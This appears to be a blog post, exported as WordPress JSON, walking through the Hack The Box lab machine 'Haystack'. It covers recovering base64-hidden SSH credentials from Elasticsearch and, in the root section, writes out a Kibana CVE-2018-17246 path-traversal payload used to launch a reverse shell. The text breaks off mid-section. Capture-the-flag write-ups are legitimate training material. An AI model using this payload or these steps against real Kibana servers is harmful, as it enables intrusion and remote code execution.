{"id":481,"date":"2019-11-04T18:46:10","date_gmt":"2019-11-04T15:46:10","guid":{"rendered":"https:\/\/macrosec.tech\/?p=481"},"modified":"2020-01-30T00:06:59","modified_gmt":"2020-01-29T21:06:59","slug":"htb-haystack","status":"publish","type":"post","link":"https:\/\/macrosec.tech\/index.php\/2019\/11\/04\/htb-haystack\/","title":{"rendered":"Hack The Box &#8211; Haystack"},"content":{"rendered":"<p><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-1 fusion-parallax-none nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-background-color:#686868;--awb-background-image:url(&quot;https:\/\/macrosec.tech\/wp-content\/uploads\/2020\/01\/85204.jpg&quot;);--awb-background-size:cover;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-0 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-padding-top:0%;--awb-padding-right:0%;--awb-padding-bottom:0%;--awb-padding-left:0%;--awb-bg-size:cover;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-column-content-centered\"><div class=\"fusion-column-content\"><div class=\"fusion-text fusion-text-1\"><h2 style=\"text-align: center; font-size: 40px;\"><strong><span style=\"text-decoration: underline;\">A WRITE-UP FOR THE MACHINE HAYSTACK<\/span><br \/>\n<\/strong><\/h2>\n<\/div><div class=\"fusion-image-element fusion-image-align-center in-legacy-container\" style=\"text-align:center;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><div class=\"imageframe-align-center\"><span class=\" fusion-imageframe imageframe-none imageframe-1 hover-type-none\"><img decoding=\"async\" width=\"332\" height=\"358\" alt=\"Haystack - Hack The Box Machine\" title=\"Haystack-Blog\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png\" class=\"img-responsive wp-image-483\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog-200x216.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/Haystack-Blog.png 332w\" sizes=\"(max-width: 800px) 100vw, 332px\" \/><\/span><\/div><\/div><\/div><\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-2 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-top:30px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-1 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-bg-size:cover;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator\" style=\"margin-left: auto;margin-right: auto;margin-top:5px;margin-bottom:25px;width:100%;max-width:45%;\"><div class=\"fusion-separator-border sep-single sep-solid\" style=\"--awb-height:20px;--awb-amount:20px;--awb-sep-color:#b51616;border-color:#b51616;border-top-width:4px;\"><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-2\"><h1 style=\"font-size: 20px; color: white; text-align: left;\"><span style=\"text-decoration: underline;\"><strong>GETTING USER<\/strong><\/span><\/h1>\n<\/div><div class=\"fusion-text fusion-text-3\"><p style=\"font-size: 20px;\">First thing we do is a <strong>nmap<\/strong> scan against the target [<strong>10.10.10.115<\/strong>]<\/p>\n<p style=\"font-size: 20px; color: #b51616;\"><strong>$ nmap -sC -sV -oA haystack 10.10.10.115<\/strong><\/p>\n<\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-3 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-border-sizes-top:0px;--awb-border-sizes-bottom:0px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-2 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-padding-top:10px;--awb-padding-right:10px;--awb-padding-bottom:10px;--awb-padding-left:10px;--awb-bg-color:#353535;--awb-bg-color-hover:#353535;--awb-bg-size:cover;--awb-border-color:#b51616;--awb-border-top:1px;--awb-border-right:1px;--awb-border-bottom:1px;--awb-border-left:1px;--awb-border-style:solid;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-text fusion-text-4\"><p><strong>PORT STATE SERVICE VERSION<\/strong><br \/>\n<strong>| ssh-hostkey:<\/strong><br \/>\n<strong>| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)<\/strong><br \/>\n<strong>| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)<\/strong><br \/>\n<strong>|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)<\/strong><br \/>\n<strong>80\/tcp open http nginx 1.12.2<\/strong><br \/>\n<strong>|_http-server-header: nginx\/1.12.2<\/strong><br \/>\n<strong>|_http-title: Site doesn&#8217;t have a title (text\/html).<\/strong><br \/>\n<strong>9200\/tcp open http nginx 1.12.2<\/strong><br \/>\n<strong>| http-methods:<\/strong><br \/>\n<strong>|_ Potentially risky methods: DELETE<\/strong><br \/>\n<strong>|_http-server-header: nginx\/1.12.2<\/strong><br \/>\n<strong>|_http-title: Site doesn&#8217;t have a title (application\/json; charset=UTF-8).<\/strong><\/p>\n<\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-4 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-3 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-bg-size:cover;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-text fusion-text-5\"><p style=\"font-size: 20px;\">Scan shows three ports are open.<\/p>\n<p style=\"font-size: 20px;\">Checking port 80 reveals an image of a needle in a haystack. Inspecting the source of the page we get there is a file called \u201cneedle.jpg\u201d.<\/p>\n<\/div><div class=\"fusion-image-element fusion-image-align-center in-legacy-container\" style=\"text-align:center;--awb-max-width:500px;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><div class=\"imageframe-align-center\"><span class=\" fusion-imageframe imageframe-none imageframe-2 hover-type-none\"><img decoding=\"async\" width=\"1200\" height=\"803\" alt=\"needle in the haystack - hack the box\" title=\"needle\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/needle.jpg\" class=\"img-responsive wp-image-510\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/needle-200x134.jpg 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/needle-400x268.jpg 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/needle-600x402.jpg 600w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/needle-800x535.jpg 800w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/needle.jpg 1200w\" sizes=\"(max-width: 800px) 100vw, 1200px\" \/><\/span><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-full-width-sep\" style=\"margin-left: auto;margin-right: auto;margin-top:5px;margin-bottom:5px;width:100%;\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-6\"><p style=\"font-size: 20px;\">Download this as it has a hint based on the name of the machine and that it is indicated as a CTF-like machine. Analyze the content of the image by running <strong>cat<\/strong>.<\/p>\n<\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-5 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-border-sizes-top:0px;--awb-border-sizes-bottom:0px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-4 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-padding-top:10px;--awb-padding-right:10px;--awb-padding-bottom:10px;--awb-padding-left:10px;--awb-bg-color:#353535;--awb-bg-color-hover:#353535;--awb-bg-size:cover;--awb-border-color:#b51616;--awb-border-top:1px;--awb-border-right:1px;--awb-border-bottom:1px;--awb-border-left:1px;--awb-border-style:solid;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-text fusion-text-7\"><p><strong>$ cat needle.jpg<\/strong><br \/>\n<strong>[\u2026]<\/strong><br \/>\n<strong>*&#8217;\ufffd\ufffd\ufffd3\u06d4\ufffdVV\ufffdh\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdxo\ufffd\ufffd&amp;\ufffdV\ufffd\ufffd-g?\ufffd\ufffdI$f2\/&lt;-iy \ufffd\ufffdA\ufffdrq\ufffd\ufffd\ufffd\ufffd\u00df\ufffdN\ufffd\ufffd\ufffd\ufffd\ufffd-k\ufffd\ufffd<\/strong><br \/>\n<strong>\ufffd9\ufffd\ufffdH\ufffdV\ufffd\ufffd\ufffdzl\ufffd\ufffdb\ufffd=pS\ufffd]\ufffd\u0385\ufffd&#8217;\ufffd\ufffd\ufffd\ufffdg\ufffd|+\ufffdgl\ufffd&#8217;\ufffdt\ufffdx~\u02f3\ufffd\ufffd6\ufffd\ufffd\ufffd1\ufffd<\/strong><br \/>\n<strong>WU(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd(\ufffd\ufffd\ufffd\ufffd<\/strong><br \/>\n<strong>bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==<\/strong><\/p>\n<\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-6 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-5 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-bg-size:cover;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-text fusion-text-8\"><p style=\"font-size: 20px;\">The result presents an interesting line towards the end with the following string:<\/p>\n<p style=\"font-size: 20px;\"><strong>bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==<\/strong><\/p>\n<p style=\"font-size: 20px;\">Decoding this base64 string reveals the following line:<\/p>\n<p style=\"font-size: 20px;\"><strong>la aguja en el pajar es &#8220;clave&#8221;<\/strong><\/p>\n<p style=\"font-size: 20px;\">which when translated from Spanish results in:<\/p>\n<p style=\"font-size: 20px;\"><strong>the needle in the haystack is &#8220;key&#8221;<\/strong><\/p>\n<p style=\"font-size: 20px;\">Poking further on the target on port 9200 using <strong>curl<\/strong>.<\/p>\n<p style=\"font-size: 20px; color: #b51616;\"><strong>$ curl http:\/\/10.10.10.115:9200<\/strong><\/p>\n<\/div><div class=\"fusion-image-element fusion-image-align-center in-legacy-container\" style=\"text-align:center;--awb-max-width:500px;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><div class=\"imageframe-align-center\"><span class=\" fusion-imageframe imageframe-none imageframe-3 hover-type-none\" style=\"border-radius:curl command for the Haystack webserver;\"><img decoding=\"async\" width=\"464\" height=\"326\" title=\"image1\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image1.png\" alt class=\"img-responsive wp-image-529\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image1-200x141.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image1-400x281.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image1.png 464w\" sizes=\"(max-width: 800px) 100vw, 464px\" \/><\/span><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-full-width-sep\" style=\"margin-left: auto;margin-right: auto;margin-top:5px;margin-bottom:5px;width:100%;\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-9\"><p style=\"font-size: 20px;\">We can see the target is running <strong>elasticsearch version 6.4.2<\/strong><\/p>\n<p style=\"font-size: 20px;\">Researching on <strong>elasticsearch<\/strong> leads to the <strong>ELK Stack<\/strong> (Elasticsearch, Logstash, Kibana environment). Reading the documentation we came across some useful commands to <strong>extract and list all indices.<\/strong><\/p>\n<p style=\"font-size: 20px; color: #b51616;\"><strong>$ curl GET http:\/\/10.10.10.115:9200\/_cat\/indices?v<\/strong><\/p>\n<\/div><div class=\"fusion-image-element fusion-image-align-center in-legacy-container\" style=\"text-align:center;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><div class=\"imageframe-align-center\"><span class=\" fusion-imageframe imageframe-none imageframe-4 hover-type-none\"><img decoding=\"async\" width=\"967\" height=\"163\" alt=\"curl results against the Haystack webserver for Hack The Box\" title=\"image2\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image2.png\" class=\"img-responsive wp-image-573\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image2-200x34.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image2-400x67.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image2-600x101.png 600w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image2-800x135.png 800w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image2.png 967w\" sizes=\"(max-width: 800px) 100vw, 967px\" \/><\/span><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-full-width-sep\" style=\"margin-left: auto;margin-right: auto;margin-top:5px;margin-bottom:5px;width:100%;\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-10\"><p style=\"font-size: 20px;\">We find two indexes of potential interest (<strong>quotes<\/strong> &amp; <strong>bank<\/strong>). Further poking around with curl on the <strong>bank<\/strong> index does not yield much interesting information. On the other hand <strong>quotes<\/strong> has a lot of Spanish quotes. This is interesting as the base64 result for needle.jpg was in Spanish and highlighted the word <strong>\u201ckey\u201d<\/strong> which was <strong>\u201cclave\u201d<\/strong>. Querying with <strong>curl<\/strong> with the specific search string bears some fruit.<\/p>\n<p style=\"font-size: 20px; color: #b51616;\"><strong>$ curl GET http:\/\/10.10.10.115:9200\/quotes\/_search?q=clave<\/strong><\/p>\n<\/div><div class=\"fusion-image-element fusion-image-align-center in-legacy-container\" style=\"text-align:center;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><div class=\"imageframe-align-center\"><span class=\" fusion-imageframe imageframe-none imageframe-5 hover-type-none\"><img decoding=\"async\" width=\"1310\" height=\"92\" title=\"image3\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image3.png\" alt class=\"img-responsive wp-image-544\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image3-200x14.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image3-400x28.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image3-600x42.png 600w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image3-800x56.png 800w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image3-1200x84.png 1200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image3.png 1310w\" sizes=\"(max-width: 800px) 100vw, 1200px\" \/><\/span><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-full-width-sep\" style=\"margin-left: auto;margin-right: auto;margin-top:5px;margin-bottom:5px;width:100%;\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-11\"><p style=\"font-size: 20px;\">The following two quotes contain the string <strong>clave<\/strong><\/p>\n<p style=\"font-size: 20px;\"><strong>Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg <\/strong><\/p>\n<p style=\"font-size: 20px;\"><strong>Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=<\/strong><\/p>\n<p style=\"font-size: 20px;\">Which translate to:<\/p>\n<p style=\"font-size: 20px;\"><strong>I have to save the password for the machine: dXNlcjogc2VjdXJpdHkg<\/strong><\/p>\n<p style=\"font-size: 20px;\"><strong>This key cannot be lost, I keep it here: cGFzczogc3BhbmlzaC5pcy5rZXk=<\/strong><\/p>\n<p style=\"font-size: 20px;\">Decoding the base64 strings reveal:<\/p>\n<\/div><div class=\"fusion-image-element fusion-image-align-center in-legacy-container\" style=\"text-align:center;--awb-max-width:500px;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><div class=\"imageframe-align-center\"><span class=\" fusion-imageframe imageframe-none imageframe-6 hover-type-none\"><img decoding=\"async\" width=\"645\" height=\"550\" alt=\"Base64 decoding of Haystack results\" title=\"image4\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image4.png\" class=\"img-responsive wp-image-547\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image4-200x171.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image4-400x341.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image4-600x512.png 600w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image4.png 645w\" sizes=\"(max-width: 800px) 100vw, 645px\" \/><\/span><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-full-width-sep\" style=\"margin-left: auto;margin-right: auto;margin-top:5px;margin-bottom:5px;width:100%;\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-12\"><p style=\"font-size: 20px;\">User: <strong>security<\/strong><\/p>\n<p style=\"font-size: 20px;\">Pass: <strong>spanish.is.key<\/strong><\/p>\n<p style=\"font-size: 20px;\">We can SSH into the target using the above credential and we have <strong>user<\/strong> on the box. Locate the <strong>user.txt<\/strong> file and get the hash.<\/p>\n<\/div><div class=\"fusion-image-element fusion-image-align-center in-legacy-container\" style=\"text-align:center;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><div class=\"imageframe-align-center\"><span class=\" fusion-imageframe imageframe-none imageframe-7 hover-type-none\"><img decoding=\"async\" width=\"697\" height=\"292\" alt=\"ssh command to the Haystack machine on Hack The Box\" title=\"image5\" src=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image5.png\" class=\"img-responsive wp-image-549\" srcset=\"https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image5-200x84.png 200w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image5-400x168.png 400w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image5-600x251.png 600w, https:\/\/macrosec.tech\/wp-content\/uploads\/2019\/11\/image5.png 697w\" sizes=\"(max-width: 800px) 100vw, 697px\" \/><\/span><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator fusion-full-width-sep\" style=\"margin-left: auto;margin-right: auto;margin-top:15px;margin-bottom:15px;width:100%;\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-separator\" style=\"margin-left: auto;margin-right: auto;margin-top:5px;margin-bottom:25px;width:100%;max-width:45%;\"><div class=\"fusion-separator-border sep-single sep-solid\" style=\"--awb-height:20px;--awb-amount:20px;--awb-sep-color:#b51616;border-color:#b51616;border-top-width:4px;\"><\/div><\/div><div class=\"fusion-sep-clear\"><\/div><div class=\"fusion-text fusion-text-13\"><h1 style=\"font-size: 20px; color: white; text-align: left;\"><span style=\"text-decoration: underline;\"><strong>GETTING ROOT<\/strong><\/span><\/h1>\n<\/div><div class=\"fusion-text fusion-text-14\"><p style=\"font-size: 20px;\">With a foothold on the target we need to escalate privilege and get root. Checking the processes running gives direction on what to do.&gt;<\/p>\n<p style=\"font-size: 20px; color: #b51616;\"><strong>[security@haystack ~]$ ps aux<\/strong><\/p>\n<p style=\"font-size: 20px;\">There is a Kibana process running:<\/p>\n<\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-7 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-border-sizes-top:0px;--awb-border-sizes-bottom:0px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-6 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-padding-top:10px;--awb-padding-right:10px;--awb-padding-bottom:10px;--awb-padding-left:10px;--awb-bg-color:#353535;--awb-bg-color-hover:#353535;--awb-bg-size:cover;--awb-border-color:#b51616;--awb-border-top:1px;--awb-border-right:1px;--awb-border-bottom:1px;--awb-border-left:1px;--awb-border-style:solid;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-text fusion-text-15\"><p><strong>kibana 6287 3.9 4.7 1352188 183648 ? Ssl 10:53 0:25 \/usr\/share\/kibana\/bin\/..\/node\/bin\/node &#8211;no-warnings \/usr\/share\/kibana\/bin\/..\/s<\/strong><\/p>\n<\/div><div class=\"fusion-clearfix\"><\/div><\/div><\/div><\/div><\/div><div class=\"fusion-fullwidth fullwidth-box fusion-builder-row-8 nonhundred-percent-fullwidth non-hundred-percent-height-scrolling\" style=\"--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-padding-right:50px;--awb-padding-left:50px;--awb-flex-wrap:wrap;\" ><div class=\"fusion-builder-row fusion-row\"><div class=\"fusion-layout-column fusion_builder_column fusion-builder-column-7 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last\" style=\"--awb-bg-size:cover;--awb-margin-top:10px;--awb-margin-bottom:10px;\"><div class=\"fusion-column-wrapper fusion-column-has-shadow fusion-flex-column-wrapper-legacy\"><div class=\"fusion-text fusion-text-16\"><p style=\"font-size: 20px;\">Kibana is the user interface which lets you manage the stack. Elasticsearch allows to execute searches, store data and analyze the data. Logstash is a data processing pipeline. It ingests data from different sources, transforms it, and stores it into a \"stash\".<\/p>\n<p style=\"font-size: 20px;\">Looking for any vulnerabilities for <strong>elasticsearch<\/strong> and <strong>kibana<\/strong> on google leads us to <strong>CVE-2018-17246<\/strong><\/p>\n<p style=\"font-size: 20px;\"><em>Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.<\/em><\/p>\n<p style=\"font-size: 20px;\"><strong>A LFI vulnerability in Kibana \/api\/console\/api_server module allows to execute a reverse shell on the Kibana server.<\/strong><\/p>\n<p style=\"font-size: 20px;\">This git hub link shows how to exploit the vulnerability discovered: <a href=\"https:\/\/github.com\/mpgn\/CVE-2018-17246\">https:\/\/github.com\/mpgn\/CVE-2018-17246<\/a><\/p>\n<p style=\"font-size: 20px;\"><strong>LFI can be use to execute a reverse shell on the Kibana server with the following payload: \/api\/console\/api_server?sense_version=@@SENSE_VERSION&apis=..\/..\/..\/..\/..\/..\/\u2026\/..\/..\/..\/path\/to\/shell.js<\/strong><\/p>\n<p style=\"font-size: 20px;\">Create a file called <strong>\"sh3ll.js\"<\/strong> as <strong>\"security\"<\/strong> user and save the file to a writeable directory, like <strong>\/tmp<\/strong>.<\/p>\n<blockquote>\n<p style=\"font-size: 20px;\"><strong>(function())();<\/strong><\/p>\n<\/blockquote>\n<p style=\"font-size: 20px;\"><em>* Set the IP to that of your attacking machine and port of your choice.<\/em><\/p>\n<\/div><div class=\"fusion-image-element fusion-image-align-center in-legacy-container\" style=\"text-align:center;--awb-caption-title-font-family:var(--h2_typography-font-family);--awb-caption-title-font-weight:var(--h2_typography-font-weight);--awb-caption-title-font-style:var(--h2_typography-font-style);--awb-caption-title-size:var(--h2_typography-font-size);--awb-caption-title-transform:var(--h2_typography-text-transform);--awb-caption-title-line-height:var(--h2_typography-line-height);--awb-caption-title-letter-spacing:var(--h2_typography-letter-spacing);\"><div class=\"imageframe-align-center\"><span class=\" fusion-imageframe imageframe-none imageframe-8 hover-type-none\"><img decoding=\"async\" width=\"1111\" height=\"380\" title=\"image6\" 